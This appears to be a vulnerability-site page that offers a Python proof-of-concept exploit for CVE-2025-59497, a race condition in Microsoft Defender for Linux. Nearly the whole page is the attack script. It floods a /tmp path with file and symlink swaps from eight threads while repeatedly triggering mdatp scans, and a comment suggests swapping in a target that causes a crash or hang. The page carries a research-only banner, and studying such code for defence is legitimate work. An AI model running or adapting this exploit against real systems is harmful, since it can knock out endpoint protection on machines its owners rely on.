Microsoft Defender for Linux（所有未应用2025年10月安全补丁的版本）
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# CVE-2025-59497 - Microsoft Defender for Linux TOCTOU Race Condition PoC
# This PoC demonstrates a TOCTOU race condition that may trigger
# a denial-of-service condition in Microsoft Defender for Linux.
import os
import sys
import threading
import time
import tempfile
TARGET_FILE = "/tmp/mdav_target"
SYMLINK_TARGET = "/dev/null" # Replace with a resource that causes crash/hang
def race_condition_worker(stop_event):
"""Continuously swap the target file between a regular file and a symlink."""
counter = 0
while not stop_event.is_set():
try:
if counter % 2 == 0:
# Create a regular file
if os.path.lexists(TARGET_FILE) or os.path.islink(TARGET_FILE):
os.unlink(TARGET_FILE)
with open(TARGET_FILE, 'w') as f:
f.write("benign_content")
else:
# Replace with symlink to cause unexpected behavior
if os.path.lexists(TARGET_FILE) or os.path.islink(TARGET_FILE):
os.unlink(TARGET_FILE)
os.symlink(SYMLINK_TARGET, TARGET_FILE)
except OSError:
pass
counter += 1
time.sleep(0.0001) # Microsecond-level timing
def trigger_defender_scan():
"""Trigger Microsoft Defender for Linux to scan the target file repeatedly."""
# Adjust the path to match the Defender for Linux scan trigger mechanism
# e.g., using 'mdatp' CLI or modifying monitored directories
scan_cmd = "/usr/bin/mdatp scan custom --path /tmp/"
for _ in range(100):
os.system(scan_cmd)
def main():
if os.geteuid() == 0:
print("[!] This PoC should be run as a low-privilege user, not root.")
sys.exit(1)
print("[*] CVE-2025-59497 PoC - TOCTOU Race Condition in Microsoft Defender for Linux")
print("[*] Starting race condition worker threads...")
stop_event = threading.Event()
threads = []
for _ in range(8):
t = threading.Thread(target=race_condition_worker, args=(stop_event,))
t.daemon = True
t.start()
threads.append(t)
print("[*] Triggering Defender scans to exploit the TOCTOU window...")
try:
trigger_defender_scan()
except KeyboardInterrupt:
pass
finally:
stop_event.set()
for t in threads:
t.join(timeout=2)
if os.path.lexists(TARGET_FILE) or os.path.islink(TARGET_FILE):
os.unlink(TARGET_FILE)
print("[*] PoC finished.")
if __name__ == "__main__":
main()